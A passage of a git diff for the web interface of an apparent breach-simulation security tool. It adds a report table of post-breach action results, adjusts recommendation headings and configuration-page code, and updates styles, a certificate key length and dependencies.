(this.state.schema.hasOwnProperty('properties')) { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; } - return (

Monkey Configuration

@@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent { } { this.state.selectedSection ?
+ onChange={this.onChange} + noValidate={true}>
{ this.state.allMonkeysAreDead ? '' : @@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
: ''} - ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index b5ab30581..43be6367c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -2,6 +2,7 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import BreachedServers from 'components/report-components/BreachedServers'; import ScannedServers from 'components/report-components/ScannedServers'; +import PostBreach from 'components/report-components/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import StolenPasswords from 'components/report-components/StolenPasswords'; @@ -403,15 +404,17 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return (
-

- Domain related recommendations -

+ {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ? +

Domain related recommendations

: null }
{this.generateIssues(this.state.report.recommendations.domain_issues)}
-

- Machine related Recommendations -

+ {/* Checks if there are any issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.issues).length !== 0 ? +

Machine related recommendations

: null }
{this.generateIssues(this.state.report.recommendations.issues)}
@@ -460,6 +463,9 @@ class ReportPageComponent extends AuthComponent {
+
+ +
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js new file mode 100644 index 000000000..763b35de8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -0,0 +1,82 @@ +import React from 'react'; +import ReactTable from 'react-table' + +let renderArray = function(val) { + return {val.map(x => {x})}; +}; + +let renderIpAddresses = function (val) { + return {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} ; +}; + +let renderMachine = function (data) { + return
{data.label} ( {renderIpAddresses(data)} )
+}; + +let renderPbaResults = function (results) { + let pbaClass = ""; + if (results[1]){ + pbaClass="pba-success" + } else { + pbaClass="pba-danger" + } + return
{results[0]}
+}; + +const subColumns = [ + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }}, + {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} +]; + +let renderDetails = function (data) { + let defaultPageSize = data.length > pageSize ? pageSize : data.length; + let showPagination = data.length > pageSize; + return +}; + +const columns = [ + { + Header: 'Post breach actions', + columns: [ + {id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)} + ] + } +]; + +const pageSize = 10; + +class PostBreachComponent extends React.Component { + constructor(props) { + super(props); + } + + render() { + let pbaMachines = this.props.data.filter(function(value, index, arr){ + return ( value.pba_results !== "None" && value.pba_results.length > 0); + }); + let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length; + let showPagination = pbaMachines > pageSize; + return ( +
+ { + return renderDetails(row.original.pba_results); + }} + /> +
+ + ); + } +} + +export default PostBreachComponent; diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 547b14272..9c62bde63 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -15,6 +15,12 @@ export default class AuthService { return this._authFetch(url, options); }; + jwtHeader = () => { + if (this._loggedIn()) { + return 'JWT ' + this._getToken(); + } + }; + hashSha3(text) { let hash = new SHA3(512); hash.update(text); diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 1b857a1ec..6155a4dcc 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -163,6 +163,18 @@ body { * Configuration Page */ +.linux-pba-file-info, .windows-pba-file-info { + display: none +} + +.filepond--root li { + overflow: visible; +} + +.filepond--root * { + font-size: 1.04em; +} + .rjsf .form-group .form-group { margin-left: 2em; } @@ -412,6 +424,14 @@ body { top: 30%; } +.pba-danger { + background-color: #ffc7af; +} + +.pba-success { + background-color: #afd2a2; +} + /* Print report styling */ @media print { diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index 477440a6f..0aae17558 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -1,6 +1,6 @@ #!/bin/bash cd /var/monkey/monkey_island -openssl genrsa -out cc/server.key 1024 +openssl genrsa -out cc/server.key 2048 openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index c9ece8546..5e0faea19 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -1,5 +1,5 @@ python-dateutil -tornado +tornado==5.1.1 werkzeug jinja2 markupsafe @@ -18,6 +18,7 @@ boto3 botocore PyInstaller awscli +bson cffi virtualenv wheel